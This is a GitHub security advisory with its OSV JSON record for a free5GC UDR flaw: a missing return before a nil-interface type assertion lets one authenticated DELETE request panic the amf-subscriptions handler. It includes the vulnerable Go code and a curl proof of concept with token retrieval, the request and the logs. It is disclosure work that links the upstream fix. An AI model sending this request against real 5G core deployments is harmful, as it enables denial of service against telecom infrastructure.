GHSA-JQFC-GWJ5-3W63

Vulnerability from github – Published: 2026-05-08 22:52 – Updated: 2026-05-08 22:52
VLAI
Summary
free5GC's UDR nudr-dr DELETE amf-subscriptions panics on missing UE state via nil interface type assertion (single authenticated request)
Details

Summary

free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler panics on a single authenticated request against a fresh UDR instance when the supplied ueId does not exist in UESubsCollection. The processor checks value, ok := udrSelf.UESubsCollection.Load(ueId) and sets a 404 USER_NOT_FOUND problem-details on the miss path, but execution continues and immediately runs value.(*udr_context.UESubsData) -- a Go type assertion on a nil interface, which panics with interface conversion: interface {} is nil, not *context.UESubsData. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.

This is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set pd, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required.

This endpoint requires a valid nudr-dr OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.

Details

Validated against the UDR container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/udr:v4.2.1 - Runtime UDR commit: 754d23b0 - Docker validation date: 2026-03-22 - UDR endpoint: http://10.100.200.11:8000

Vulnerable handler (the ok miss path sets pd but does not return; the next line type-asserts the nil interface):

subsId := c.Params.ByName("subsId")
s.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId)

In the processor:

value, ok := udrSelf.UESubsCollection.Load(ueId)
if !ok {
    pd = util.ProblemDetailsNotFound("USER_NOT_FOUND")
}

UESubsData := value.(*udr_context.UESubsData)   // panics: nil interface

When ueId is absent from UESubsCollection, value is the nil interface{} returned by sync.Map.Load, and value.(*udr_context.UESubsData) panics with:

panic: interface conversion: interface {} is nil, not *context.UESubsData

Code evidence (paths in free5gc/udr): - Route exposure + handler dispatch: - NFs/udr/internal/sbi/api_datarepository.go:2161 - NFs/udr/internal/sbi/api_datarepository.go:2170 - NFs/udr/internal/sbi/api_datarepository.go:2172 - Panic root cause (nil interface type assertion): - NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:53 - NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:56 - NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:61

PoC

Reproduced end-to-end against the running UDR at http://10.100.200.11:8000 -- single authenticated request, no preconditions.

  1. Restart UDR (clean state -- proves no precondition is needed):
docker restart udr
  1. Obtain a valid nudr-dr token from NRF:
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'
  1. Trigger the panic with one DELETE for a nonexistent ueId=x:
curl -i -sS -X DELETE \
  'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \
  -H 'Authorization: Bearer <valid_nudr_dr_jwt>'
HTTP/1.1 500 Internal Server Error
Content-Length: 0
  1. UDR container logs (docker logs udr) confirm the nil-interface conversion panic at event_amf_subscription_info_document.go:61 inside RemoveAmfSubscriptionsInfoProcedure:
[ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not *context.UESubsData
github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure
    .../event_amf_subscription_info_document.go:61
github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo
    .../api_datarepository.go:2172
[INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |

Impact

Incorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a 404 problem-details value but does not return, then runs a Go type assertion on the nil interface returned by sync.Map.Load.

This is NOT framed as an auth-bypass finding: the endpoint requires a valid nudr-dr OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, single-request panic on the amf-subscriptions delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919). - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended 404 USER_NOT_FOUND response would have.

No Confidentiality impact (the response is 500 with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/920 Upstream fix: https://github.com/free5gc/udr/pull/60

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/udr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44324"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-704",
      "CWE-754"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T22:52:20Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nfree5GC\u0027s UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler panics on a single authenticated request against a fresh UDR instance when the supplied `ueId` does not exist in `UESubsCollection`. The processor checks `value, ok := udrSelf.UESubsCollection.Load(ueId)` and sets a `404 USER_NOT_FOUND` problem-details on the miss path, but execution continues and immediately runs `value.(*udr_context.UESubsData)` -- a Go type assertion on a nil interface, which panics with `interface conversion: interface {} is nil, not *context.UESubsData`. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable.\n\nThis is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set `pd`, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required.\n\nThis endpoint requires a valid `nudr-dr` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.\n\n### Details\nValidated against the UDR container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/udr:v4.2.1`\n- Runtime UDR commit: `754d23b0`\n- Docker validation date: 2026-03-22\n- UDR endpoint: `http://10.100.200.11:8000`\n\nVulnerable handler (the `ok` miss path sets `pd` but does not return; the next line type-asserts the nil interface):\n```go\nsubsId := c.Params.ByName(\"subsId\")\ns.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId)\n```\nIn the processor:\n```go\nvalue, ok := udrSelf.UESubsCollection.Load(ueId)\nif !ok {\n    pd = util.ProblemDetailsNotFound(\"USER_NOT_FOUND\")\n}\n\nUESubsData := value.(*udr_context.UESubsData)   // panics: nil interface\n```\nWhen `ueId` is absent from `UESubsCollection`, `value` is the nil `interface{}` returned by `sync.Map.Load`, and `value.(*udr_context.UESubsData)` panics with:\n```\npanic: interface conversion: interface {} is nil, not *context.UESubsData\n```\n\nCode evidence (paths in `free5gc/udr`):\n- Route exposure + handler dispatch:\n  - `NFs/udr/internal/sbi/api_datarepository.go:2161`\n  - `NFs/udr/internal/sbi/api_datarepository.go:2170`\n  - `NFs/udr/internal/sbi/api_datarepository.go:2172`\n- Panic root cause (nil interface type assertion):\n  - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:53`\n  - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:56`\n  - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:61`\n\n### PoC\nReproduced end-to-end against the running UDR at `http://10.100.200.11:8000` -- single authenticated request, no preconditions.\n\n1. Restart UDR (clean state -- proves no precondition is needed):\n```\ndocker restart udr\n```\n\n2. Obtain a valid `nudr-dr` token from NRF:\n```\ncurl -sS -X POST \u0027http://10.100.200.3:8000/oauth2/token\u0027 \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data \u0027grant_type=client_credentials\u0026nfType=NEF\u0026nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57\u0026targetNfType=UDR\u0026scope=nudr-dr\u0027\n```\n\n3. Trigger the panic with one DELETE for a nonexistent `ueId=x`:\n```\ncurl -i -sS -X DELETE \\\n  \u0027http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions\u0027 \\\n  -H \u0027Authorization: Bearer \u003cvalid_nudr_dr_jwt\u003e\u0027\n```\n```\nHTTP/1.1 500 Internal Server Error\nContent-Length: 0\n```\n\n4. UDR container logs (`docker logs udr`) confirm the nil-interface conversion panic at `event_amf_subscription_info_document.go:61` inside `RemoveAmfSubscriptionsInfoProcedure`:\n```\n[ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not *context.UESubsData\ngithub.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure\n    .../event_amf_subscription_info_document.go:61\ngithub.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo\n    .../api_datarepository.go:2172\n[INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |\n```\n\n### Impact\nIncorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a `404` problem-details value but does not return, then runs a Go type assertion on the nil interface returned by `sync.Map.Load`.\n\nThis is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can:\n- Trigger a reliable, single-request panic on the `amf-subscriptions` delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919).\n- Repeat the trigger to sustain a per-request panic-DoS on UDR\u0027s data-repository surface, with each panic costing more CPU + log writes than the intended `404 USER_NOT_FOUND` response would have.\n\nNo Confidentiality impact (the response is `500` with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/920\nUpstream fix: https://github.com/free5gc/udr/pull/60",
  "id": "GHSA-jqfc-gwj5-3w63",
  "modified": "2026-05-08T22:52:20Z",
  "published": "2026-05-08T22:52:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-jqfc-gwj5-3w63"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/issues/920"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/udr/pull/60"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/udr/commit/8a1d3c63be99d378806d771f086ff32f1867da99"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/free5gc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "free5GC\u0027s UDR nudr-dr DELETE amf-subscriptions panics on missing UE state via nil interface type assertion (single authenticated request)"
}


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